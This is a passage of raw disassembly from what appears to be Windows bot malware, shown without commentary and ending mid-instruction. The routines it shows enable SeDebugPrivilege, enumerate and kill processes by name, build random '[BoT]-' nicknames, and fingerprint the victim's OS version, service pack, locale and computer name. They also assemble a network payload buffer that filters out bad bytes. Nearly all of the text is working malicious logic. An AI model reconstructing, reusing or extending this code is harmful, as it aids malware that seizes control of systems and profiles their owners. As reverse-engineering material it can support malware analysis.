; Attributes: bp-based frame ; int __cdecl sub_40F5A7(int, int, int, char *Str2, int, int) sub_40F5A7 proc near ; CODE XREF: sub_40ABFE+3245p ; sub_40F7C9+7Dp var_554 = dword ptr -554h var_550 = byte ptr -550h var_434 = byte ptr -434h Dest = byte ptr -330h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h dwProcessId = dword ptr -124h Str1 = byte ptr -108h hObject = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str2 = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push edi and [ebp+var_12C], 0 push 49h pop ecx xor eax, eax lea edi, [ebp+var_128] rep stosd and [ebp+var_554], 0 mov ecx, 88h xor eax, eax lea edi, [ebp+var_550] rep stosd cmp dword_426444, 0 jz loc_40F7C4 cmp dword_426428, 0 jz loc_40F7C4 cmp dword_42636C, 0 jz loc_40F7C4 push 1 push offset aSedebugprivi_1 ; "SeDebugPrivilege" call sub_40F515 pop ecx pop ecx push 0 push 0Fh call dword_426444 ; CreateToolhelp32Snapshot mov [ebp+var_130], eax cmp [ebp+var_130], 0FFFFFFFFh jz loc_40F7B6 mov [ebp+var_12C], 128h lea eax, [ebp+var_12C] push eax push [ebp+var_130] call dword_426428 ; Process32First test eax, eax jz loc_40F7AA loc_40F652: ; CODE XREF: sub_40F5A7:loc_40F7A5j lea eax, [ebp+var_12C] push eax push [ebp+var_130] call dword_42636C ; Process32Next test eax, eax jz loc_40F7AA cmp [ebp+arg_10], 0 jz short loc_40F678 jmp loc_40F7A5 ; --------------------------------------------------------------------------- loc_40F678: ; CODE XREF: sub_40F5A7+CAj cmp [ebp+Str2], 0 jnz loc_40F74D cmp [ebp+arg_4], 0 jz loc_40F74B push [ebp+dwProcessId] push 8 call dword_426444 ; CreateToolhelp32Snapshot mov [ebp+hObject], eax mov [ebp+var_554], 224h cmp [ebp+arg_14], 0 jz short loc_40F707 lea eax, [ebp+var_554] push eax push [ebp+hObject] call dword_42632C ; Module32First test eax, eax jz short loc_40F6E4 push [ebp+dwProcessId] lea eax, [ebp+var_434] push eax push offset aSD_0 ; " %s (%d)" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h jmp short loc_40F705 ; --------------------------------------------------------------------------- loc_40F6E4: ; CODE XREF: sub_40F5A7+118j push [ebp+dwProcessId] lea eax, [ebp+Str1] push eax push offset aSD_1 ; " %s (%d)" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h loc_40F705: ; CODE XREF: sub_40F5A7+13Bj jmp short loc_40F728 ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40F5A7+104j push [ebp+dwProcessId] lea eax, [ebp+Str1] push eax push offset aSD_2 ; " %s (%d)" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h loc_40F728: ; CODE XREF: sub_40F5A7:loc_40F705j push 1 push [ebp+arg_8] lea eax, [ebp+Dest] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle loc_40F74B: ; CODE XREF: sub_40F5A7+DFj jmp short loc_40F7A5 ; --------------------------------------------------------------------------- loc_40F74D: ; CODE XREF: sub_40F5A7+D5j push [ebp+Str2] ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40F7A5 push [ebp+dwProcessId] ; dwProcessId push 0 ; bInheritHandle push 1F0FFFh ; dwDesiredAccess call ds:OpenProcess ; OpenProcess mov [ebp+hObject], eax push [ebp+var_130] ; hObject call ds:CloseHandle ; CloseHandle push 0 ; uExitCode push [ebp+hObject] ; hProcess call ds:TerminateProcess ; TerminateProcess test eax, eax jnz short loc_40F7A0 push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle xor eax, eax jmp short loc_40F7C6 ; --------------------------------------------------------------------------- loc_40F7A0: ; CODE XREF: sub_40F5A7+1EAj push 1 pop eax jmp short loc_40F7C6 ; --------------------------------------------------------------------------- loc_40F7A5: ; CODE XREF: sub_40F5A7+CCj ; sub_40F5A7:loc_40F74Bj ... jmp loc_40F652 ; --------------------------------------------------------------------------- loc_40F7AA: ; CODE XREF: sub_40F5A7+A5j ; sub_40F5A7+C0j push [ebp+var_130] ; hObject call ds:CloseHandle ; CloseHandle loc_40F7B6: ; CODE XREF: sub_40F5A7+80j push 0 push offset aSedebugprivi_2 ; "SeDebugPrivilege" call sub_40F515 pop ecx pop ecx loc_40F7C4: ; CODE XREF: sub_40F5A7+3Bj ; sub_40F5A7+48j ... xor eax, eax loc_40F7C6: ; CODE XREF: sub_40F5A7+1F7j ; sub_40F5A7+1FCj pop edi leave retn sub_40F5A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; DWORD __stdcall sub_40F7C9(LPVOID) sub_40F7C9 proc near ; DATA XREF: sub_40ABFE+2390o Dest = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch push esi push edi mov esi, [ebp+arg_0] push 26h pop ecx lea edi, [ebp+var_9C] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+94h], 1 push offset unk_423770 ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_C], 0 jnz short loc_40F82F push 0 push [ebp+var_10] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40A08D add esp, 14h loc_40F82F: ; CODE XREF: sub_40F7C9+43j push [ebp+var_14] ; int push 0 ; int push 0 ; Str2 push [ebp+var_10] ; int lea eax, [ebp+var_98] push eax ; int push [ebp+var_9C] ; int call sub_40F5A7 add esp, 18h test eax, eax jnz short loc_40F867 push offset unk_4237A4 ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_40F87A ; --------------------------------------------------------------------------- loc_40F867: ; CODE XREF: sub_40F7C9+87j push offset unk_4237DC ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_40F87A: ; CODE XREF: sub_40F7C9+9Cj cmp [ebp+var_C], 0 jnz short loc_40F8A1 push 0 push [ebp+var_10] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40A08D add esp, 14h loc_40F8A1: ; CODE XREF: sub_40F7C9+B5j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+var_18] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread sub_40F7C9 endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40F8C5(DWORD dwProcessId) sub_40F8C5 proc near ; CODE XREF: sub_40ABFE+3323p ; sub_4103E7+A0p hObject = dword ptr -8 var_4 = dword ptr -4 dwProcessId = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 push [ebp+dwProcessId] ; dwProcessId push 0 ; bInheritHandle push 1F0FFFh ; dwDesiredAccess call ds:OpenProcess ; OpenProcess mov [ebp+hObject], eax cmp [ebp+hObject], 0 jz short loc_40F906 push 0 ; uExitCode push [ebp+hObject] ; hProcess call ds:TerminateProcess ; TerminateProcess test eax, eax jnz short loc_40F906 and [ebp+var_4], 0 push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle loc_40F906: ; CODE XREF: sub_40F8C5+23j ; sub_40F8C5+32j mov eax, [ebp+var_4] leave retn sub_40F8C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+0Ch] sub eax, [ebp+8] mov [ebp-4], eax fild dword ptr [ebp-4] fstp dword ptr [ebp-8] call _rand mov [ebp-0Ch], eax fild dword ptr [ebp-0Ch] fmul dword ptr [ebp-8] fdiv ds:dbl_41C258 call __ftol add eax, [ebp+8] leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp call _rand cdq idiv dword ptr [ebp+8] mov eax, edx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40F94E(char *Dest) sub_40F94E proc near ; CODE XREF: sub_40FD9A+64p ; DATA XREF: .data:off_423828o var_4 = dword ptr -4 Dest = dword ptr 8 push ebp mov ebp, esp push ecx call ds:GetTickCount ; GetTickCount push eax call sub_412333 pop ecx push offset aBot ; "[BoT]-" push offset aS_4 ; "%s" push 1Ch ; Count push [ebp+Dest] ; Dest call __snprintf add esp, 10h and [ebp+var_4], 0 jmp short loc_40F983 ; --------------------------------------------------------------------------- loc_40F97C: ; CODE XREF: sub_40F94E+61j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40F983: ; CODE XREF: sub_40F94E+2Cj mov eax, [ebp+var_4] cmp eax, dword_421C48 jge short loc_40F9B1 call _rand cdq push 0Ah pop ecx idiv ecx push edx push [ebp+Dest] push offset aSI ; "%s%i" push 1Ch ; Count push [ebp+Dest] ; Dest call __snprintf add esp, 14h jmp short loc_40F97C ; --------------------------------------------------------------------------- loc_40F9B1: ; CODE XREF: sub_40F94E+3Ej mov eax, [ebp+Dest] leave retn sub_40F94E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9B6 proc near ; CODE XREF: sub_40ABFE+3B05p ; DATA XREF: .data:0042383Co var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx call ds:GetTickCount ; GetTickCount push eax call sub_412333 pop ecx call _rand cdq push 3 pop ecx idiv ecx add edx, dword_421C48 mov [ebp+var_8], edx and [ebp+var_4], 0 jmp short loc_40F9E9 ; --------------------------------------------------------------------------- loc_40F9E2: ; CODE XREF: sub_40F9B6+51j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40F9E9: ; CODE XREF: sub_40F9B6+2Aj mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40FA09 call _rand cdq push 1Ah pop ecx idiv ecx add edx, 61h mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], dl jmp short loc_40F9E2 ; --------------------------------------------------------------------------- loc_40FA09: ; CODE XREF: sub_40F9B6+39j mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_0] leave retn sub_40F9B6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h mov dword ptr [ebp-8], offset aPc ; "PC" mov dword ptr [ebp-4], 100h and dword ptr [ebp-10h], 0 call ds:GetTickCount ; GetTickCount push eax call sub_412333 pop ecx lea eax, [ebp-4] push eax push dword ptr [ebp-8] call ds:GetComputerNameA ; GetComputerNameA test eax, eax jnz short loc_40FA54 mov dword ptr [ebp-8], offset aPc_0 ; "PC" loc_40FA54: ; CODE XREF: .text:0040FA4Bj mov dword ptr [ebp-0Ch], 41h jmp short loc_40FA64 ; --------------------------------------------------------------------------- loc_40FA5D: ; CODE XREF: .text:loc_40FA7Cj mov eax, [ebp-0Ch] inc eax mov [ebp-0Ch], eax loc_40FA64: ; CODE XREF: .text:0040FA5Bj cmp dword ptr [ebp-0Ch], 5Bh jge short loc_40FA7E mov eax, [ebp-8] movsx eax, byte ptr [eax] cmp eax, [ebp-0Ch] jnz short loc_40FA7C mov dword ptr [ebp-10h], 1 loc_40FA7C: ; CODE XREF: .text:0040FA73j jmp short loc_40FA5D ; --------------------------------------------------------------------------- loc_40FA7E: ; CODE XREF: .text:0040FA68j mov dword ptr [ebp-0Ch], 61h jmp short loc_40FA8E ; --------------------------------------------------------------------------- loc_40FA87: ; CODE XREF: .text:loc_40FAA6j mov eax, [ebp-0Ch] inc eax mov [ebp-0Ch], eax loc_40FA8E: ; CODE XREF: .text:0040FA85j cmp dword ptr [ebp-0Ch], 7Bh jge short loc_40FAA8 mov eax, [ebp-8] movsx eax, byte ptr [eax] cmp eax, [ebp-0Ch] jnz short loc_40FAA6 mov dword ptr [ebp-10h], 1 loc_40FAA6: ; CODE XREF: .text:0040FA9Dj jmp short loc_40FA87 ; --------------------------------------------------------------------------- loc_40FAA8: ; CODE XREF: .text:0040FA92j cmp dword ptr [ebp-10h], 0 jnz short loc_40FAB5 mov dword ptr [ebp-8], offset aPc_1 ; "PC" loc_40FAB5: ; CODE XREF: .text:0040FAACj push dword ptr [ebp-8] push 1Ch push dword ptr [ebp+8] call __snprintf add esp, 0Ch and dword ptr [ebp-0Ch], 0 jmp short loc_40FAD2 ; --------------------------------------------------------------------------- loc_40FACB: ; CODE XREF: .text:0040FAFEj mov eax, [ebp-0Ch] inc eax mov [ebp-0Ch], eax loc_40FAD2: ; CODE XREF: .text:0040FAC9j mov eax, [ebp-0Ch] cmp eax, dword_421C48 jge short loc_40FB00 call _rand cdq push 0Ah pop ecx idiv ecx push edx push dword ptr [ebp+8] push offset aSI_0 ; "%s%i" push 1Ch push dword ptr [ebp+8] call __snprintf add esp, 14h jmp short loc_40FACB ; --------------------------------------------------------------------------- loc_40FB00: ; CODE XREF: .text:0040FADBj mov eax, [ebp+8] leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h call ds:GetTickCount ; GetTickCount push eax call sub_412333 pop ecx push 0Ah lea eax, [ebp-0Ch] push eax push 7 push 800h call ds:GetLocaleInfoA ; GetLocaleInfoA lea eax, [ebp-0Ch] push eax push offset aS_3 ; "%s|" push 1Ch push dword ptr [ebp+8] call __snprintf add esp, 10h and dword ptr [ebp-10h], 0 jmp short loc_40FB4E ; --------------------------------------------------------------------------- loc_40FB47: ; CODE XREF: .text:0040FB7Aj mov eax, [ebp-10h] inc eax mov [ebp-10h], eax loc_40FB4E: ; CODE XREF: .text:0040FB45j mov eax, [ebp-10h] cmp eax, dword_421C48 jge short loc_40FB7C call _rand cdq push 0Ah pop ecx idiv ecx push edx push dword ptr [ebp+8] push offset aSI_1 ; "%s%i" push 1Ch push dword ptr [ebp+8] call __snprintf add esp, 14h jmp short loc_40FB47 ; --------------------------------------------------------------------------- loc_40FB7C: ; CODE XREF: .text:0040FB57j mov eax, [ebp+8] leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0ACh mov dword ptr [ebp-8], offset dword_470270 mov dword ptr [ebp-4], offset dword_470274 mov dword ptr [ebp-0ACh], 94h lea eax, [ebp-0ACh] push eax call ds:GetVersionExA ; GetVersionExA cmp dword ptr [ebp-0A8h], 4 jnz short loc_40FBE6 cmp dword ptr [ebp-0A4h], 0 jnz short loc_40FBE6 cmp dword ptr [ebp-9Ch], 1 jnz short loc_40FBD1 mov dword ptr [ebp-8], offset a95_0 ; "95" loc_40FBD1: ; CODE XREF: .text:0040FBC8j cmp dword ptr [ebp-9Ch], 2 jnz short loc_40FBE1 mov dword ptr [ebp-8], offset aNt_0 ; "NT" loc_40FBE1: ; CODE XREF: .text:0040FBD8j jmp loc_40FC74 ; --------------------------------------------------------------------------- loc_40FBE6: ; CODE XREF: .text:0040FBB6j ; .text:0040FBBFj cmp dword ptr [ebp-0A8h], 4 jnz short loc_40FC01 cmp dword ptr [ebp-0A4h], 0Ah jnz short loc_40FC01 mov dword ptr [ebp-8], offset a98_0 ; "98" jmp short loc_40FC74 ; --------------------------------------------------------------------------- loc_40FC01: ; CODE XREF: .text:0040FBEDj ; .text:0040FBF6j cmp dword ptr [ebp-0A8h], 4 jnz short loc_40FC1C cmp dword ptr [ebp-0A4h], 5Ah jnz short loc_40FC1C mov dword ptr [ebp-8], offset aMe_1 ; "ME" jmp short loc_40FC74 ; --------------------------------------------------------------------------- loc_40FC1C: ; CODE XREF: .text:0040FC08j ; .text:0040FC11j cmp dword ptr [ebp-0A8h], 5 jnz short loc_40FC37 cmp dword ptr [ebp-0A4h], 0 jnz short loc_40FC37 mov dword ptr [ebp-8], offset a2k_0 ; "2K" jmp short loc_40FC74 ; --------------------------------------------------------------------------- loc_40FC37: ; CODE XREF: .text:0040FC23j ; .text:0040FC2Cj cmp dword ptr [ebp-0A8h], 5 jnz short loc_40FC52 cmp dword ptr [ebp-0A4h], 1 jnz short loc_40FC52 mov dword ptr [ebp-8], offset aXp_0 ; "XP" jmp short loc_40FC74 ; --------------------------------------------------------------------------- loc_40FC52: ; CODE XREF: .text:0040FC3Ej ; .text:0040FC47j cmp dword ptr [ebp-0A8h], 5 jnz short loc_40FC6D cmp dword ptr [ebp-0A4h], 2 jnz short loc_40FC6D mov dword ptr [ebp-8], offset a23 ; "23" jmp short loc_40FC74 ; --------------------------------------------------------------------------- loc_40FC6D: ; CODE XREF: .text:0040FC59j ; .text:0040FC62j mov dword ptr [ebp-8], offset aUn ; "UN" loc_40FC74: ; CODE XREF: .text:loc_40FBE1j ; .text:0040FBFFj ... push offset dword_470278 lea eax, [ebp-98h] push eax call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40FC97 mov dword ptr [ebp-4], offset aSp0 ; "SP0" jmp loc_40FD1E ; --------------------------------------------------------------------------- loc_40FC97: ; CODE XREF: .text:0040FC89j push offset a1 ; "1" lea eax, [ebp-98h] push eax call _strstr pop ecx pop ecx test eax, eax jz short loc_40FCB7 mov dword ptr [ebp-4], offset aSp1 ; "SP1" jmp short loc_40FD1E ; --------------------------------------------------------------------------- loc_40FCB7: ; CODE XREF: .text:0040FCACj push offset a2 ; "2" lea eax, [ebp-98h] push eax call _strstr pop ecx pop ecx test eax, eax jz short loc_40FCD7 mov dword ptr [ebp-4], offset aSp2 ; "SP2" jmp short loc_40FD1E ; --------------------------------------------------------------------------- loc_40FCD7: ; CODE XREF: .text:0040FCCCj push offset a3 ; "3" lea eax, [ebp-98h] push eax call _strstr pop ecx pop ecx test eax, eax jz short loc_40FCF7 mov dword ptr [ebp-4], offset aSp3 ; "SP3" jmp short loc_40FD1E ; --------------------------------------------------------------------------- loc_40FCF7: ; CODE XREF: .text:0040FCECj push offset a4 ; "4" lea eax, [ebp-98h] push eax call _strstr pop ecx pop ecx test eax, eax jz short loc_40FD17 mov dword ptr [ebp-4], offset aSp4 ; "SP4" jmp short loc_40FD1E ; --------------------------------------------------------------------------- loc_40FD17: ; CODE XREF: .text:0040FD0Cj mov dword ptr [ebp-4], offset aUnk ; "UNK" loc_40FD1E: ; CODE XREF: .text:0040FC92j ; .text:0040FCB5j ... call ds:GetTickCount ; GetTickCount push eax call sub_412333 pop ecx push 0Ah lea eax, [ebp-14h] push eax push 7 push 800h call ds:GetLocaleInfoA ; GetLocaleInfoA push dword ptr [ebp-4] push dword ptr [ebp-8] lea eax, [ebp-14h] push eax push offset aSSS_0 ; "%s|%s|%s|" push 1Ch push dword ptr [ebp+8] call __snprintf add esp, 18h and dword ptr [ebp-18h], 0 jmp short loc_40FD67 ; --------------------------------------------------------------------------- loc_40FD60: ; CODE XREF: .text:0040FD93j mov eax, [ebp-18h] inc eax mov [ebp-18h], eax loc_40FD67: ; CODE XREF: .text:0040FD5Ej mov eax, [ebp-18h] cmp eax, dword_421C48 jge short loc_40FD95 call _rand cdq push 0Ah pop ecx idiv ecx push edx push dword ptr [ebp+8] push offset aSI_2 ; "%s%i" push 1Ch push dword ptr [ebp+8] call __snprintf add esp, 14h jmp short loc_40FD60 ; --------------------------------------------------------------------------- loc_40FD95: ; CODE XREF: .text:0040FD70j mov eax, [ebp+8] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40FD9A(char *Dest, int, char *Str1) sub_40FD9A proc near ; CODE XREF: sub_40A776+AFp ; sub_40A9EB+71p ... var_8 = dword ptr -8 var_4 = dword ptr -4 Dest = dword ptr 8 arg_4 = dword ptr 0Ch Str1 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40FDAC ; --------------------------------------------------------------------------- loc_40FDA5: ; CODE XREF: sub_40FD9A:loc_40FE07j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40FDAC: ; CODE XREF: sub_40FD9A+9j cmp [ebp+var_4], 3 jnb short loc_40FE09 cmp [ebp+Str1], 0 jz short loc_40FDD8 mov eax, [ebp+var_4] imul eax, 14h add eax, offset aConst ; "const" push eax ; Str2 push [ebp+Str1] ; Str1 call _strcmp pop ecx pop ecx neg eax sbb eax, eax inc eax mov [ebp+var_8], eax jmp short loc_40FDEF ; --------------------------------------------------------------------------- loc_40FDD8: ; CODE XREF: sub_40FD9A+1Cj mov eax, [ebp+var_4] imul eax, 14h mov eax, dword_423824[eax] sub eax, [ebp+arg_4] neg eax sbb eax, eax inc eax mov [ebp+var_8], eax loc_40FDEF: ; CODE XREF: sub_40FD9A+3Cj cmp [ebp+var_8], 0 jz short loc_40FE07 push [ebp+Dest] ; Dest mov eax, [ebp+var_4] imul eax, 14h call off_423828[eax] pop ecx jmp short loc_40FE09 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FD9A+59j jmp short loc_40FDA5 ; --------------------------------------------------------------------------- loc_40FE09: ; CODE XREF: sub_40FD9A+16j ; sub_40FD9A+6Bj mov eax, [ebp+Dest] leave retn sub_40FD9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40FE0E(char *Str, int) sub_40FE0E proc near ; CODE XREF: sub_40FE3E+Cp ; sub_40FFA4+9p ... var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+var_8], eax push [ebp+arg_4] ; Str call _strlen pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+var_8] lea eax, [ecx+eax+79h] mov ecx, [ebp+var_4] lea eax, [eax+ecx+48h] leave retn sub_40FE0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40FE3E(int, int, void *Str, int) sub_40FE3E proc near ; CODE XREF: sub_40FFBD+62p Size = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_C] ; int push [ebp+Str] ; Str call sub_40FE0E pop ecx pop ecx mov [ebp+var_14], eax mov eax, [ebp+var_14] cmp eax, [ebp+arg_4] jbe short loc_40FE63 xor eax, eax jmp locret_40FFA2 ; --------------------------------------------------------------------------- loc_40FE63: ; CODE XREF: sub_40FE3E+1Cj push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+Size], eax push [ebp+arg_C] ; Str call _strlen pop ecx mov [ebp+var_1C], eax mov [ebp+var_8], offset dword_423970 mov eax, [ebp+var_1C] mov ecx, [ebp+Size] lea eax, [ecx+eax+12h] mov ecx, [ebp+var_8] mov [ecx], eax mov [ebp+var_C], offset byte_423991 mov eax, [ebp+var_1C] inc eax mov ecx, [ebp+var_C] mov [ecx], eax mov [ebp+var_10], offset byte_423989 mov eax, [ebp+var_1C] add eax, 17h mov ecx, [ebp+var_10] mov [ecx], eax mov [ebp+var_4], offset byte_42399F push 0FFFFFFEDh pop eax sub eax, [ebp+var_1C] mov ecx, [ebp+var_4] mov [ecx], eax and [ebp+var_18], 0 push 74h ; Size push offset dword_42390C ; Src mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_18] add eax, 74h mov [ebp+var_18], eax push [ebp+Size] ; Size push [ebp+Str] ; Src mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_18] add eax, [ebp+Size] mov [ebp+var_18], eax push 5 ; Size push offset aGet ; " get " mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_18] add eax, 5 mov [ebp+var_18], eax push [ebp+var_1C] ; Size push [ebp+arg_C] ; Src mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_18] add eax, [ebp+var_1C] mov [ebp+var_18], eax push 10h ; Size push (offset aGet+5) ; Src mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_18] add eax, 10h mov [ebp+var_18], eax push [ebp+var_1C] ; Size push [ebp+arg_C] ; Src mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_18] add eax, [ebp+var_1C] mov [ebp+var_18], eax push 38h ; Size push offset byte_423995 ; Src mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_18] add eax, 38h mov [ebp+var_18], eax mov eax, [ebp+var_14] locret_40FFA2: ; CODE XREF: sub_40FE3E+20j leave retn sub_40FE3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40FFA4(char *Str, int) sub_40FFA4 proc near ; CODE XREF: sub_40FFBD+Cp Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_4] ; int push [ebp+Str] ; Str call sub_40FE0E pop ecx pop ecx push eax call sub_41004F pop ecx pop ebp retn sub_40FFA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40FFBD(void *Dst, int, char *Str, int) sub_40FFBD proc near ; CODE XREF: sub_4011CD+4Bp var_C = dword ptr -0Ch Memory = dword ptr -8 var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch Str = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_C] ; int push [ebp+Str] ; Str call sub_40FFA4 pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jbe short loc_40FFDF xor eax, eax jmp short locret_41004D ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40FFBD+1Cj cmp [ebp+var_4], 0FFFFh jbe short loc_40FFEC xor eax, eax jmp short locret_41004D ; --------------------------------------------------------------------------- loc_40FFEC: ; CODE XREF: sub_40FFBD+29j push [ebp+arg_C] ; int push [ebp+Str] ; Str call sub_40FE0E pop ecx pop ecx add eax, 101h push eax ; Size call _malloc pop ecx mov [ebp+Memory], eax push [ebp+arg_C] ; int push [ebp+Str] ; Str push [ebp+arg_C] ; int push [ebp+Str] ; Str call sub_40FE0E pop ecx pop ecx push eax ; int push [ebp+Memory] ; int call sub_40FE3E add esp, 10h mov [ebp+var_C], eax push [ebp+var_C] ; int push [ebp+Memory] ; int push [ebp+arg_4] ; int push [ebp+Dst] ; Dst call sub_410081 add esp, 10h mov [ebp+var_4], eax push [ebp+Memory] ; Memory call _free pop ecx mov eax, [ebp+var_4] locret_41004D: ; CODE XREF: sub_40FFBD+20j ; sub_40FFBD+2Dj leave retn sub_40FFBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41004F proc near ; CODE XREF: sub_40FFA4+11p ; sub_410081+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 0FFh test eax, eax jnz short loc_410066 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax loc_410066: ; CODE XREF: sub_41004F+Ej mov eax, 0FFh cmp eax, [ebp+arg_0] sbb eax, eax and eax, 2 add eax, 15h mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+arg_0] leave retn sub_41004F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410081(void *Dst, int, int, int) sub_410081 proc near ; CODE XREF: sub_40FFBD+79p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_C] and eax, 0FFh mov [ebp+var_4], al movsx eax, [ebp+var_4] cmp eax, 0Ah jz short loc_4100B5 movsx eax, [ebp+var_4] cmp eax, 0Dh jz short loc_4100B5 movsx eax, [ebp+var_4] cmp eax, 5Ch jz short loc_4100B5 movsx eax, [ebp+var_4] test eax, eax jnz short loc_4100BC loc_4100B5: ; CODE XREF: sub_410081+18j ; sub_410081+21j ... mov eax, [ebp+arg_C] inc eax mov [ebp+arg_C], eax loc_4100BC: ; CODE XREF: sub_410081+32j cmp [ebp+arg_C], 0FFh jbe short loc_410101 mov eax, [ebp+arg_C] shr eax, 8 and eax, 0FFh mov [ebp+var_4], al movsx eax, [ebp+var_4] cmp eax, 0Ah jz short loc_4100F6 movsx eax, [ebp+var_4] cmp eax, 0Dh jz short loc_4100F6 movsx eax, [ebp+var_4] cmp eax, 5Ch jz short loc_4100F6 movsx eax, [ebp+var_4] test eax, eax jnz short loc_410101 loc_4100F6: ; CODE XREF: sub_410081+59j ; sub_410081+62j ... mov eax, [ebp+arg_C] add eax, 100h mov 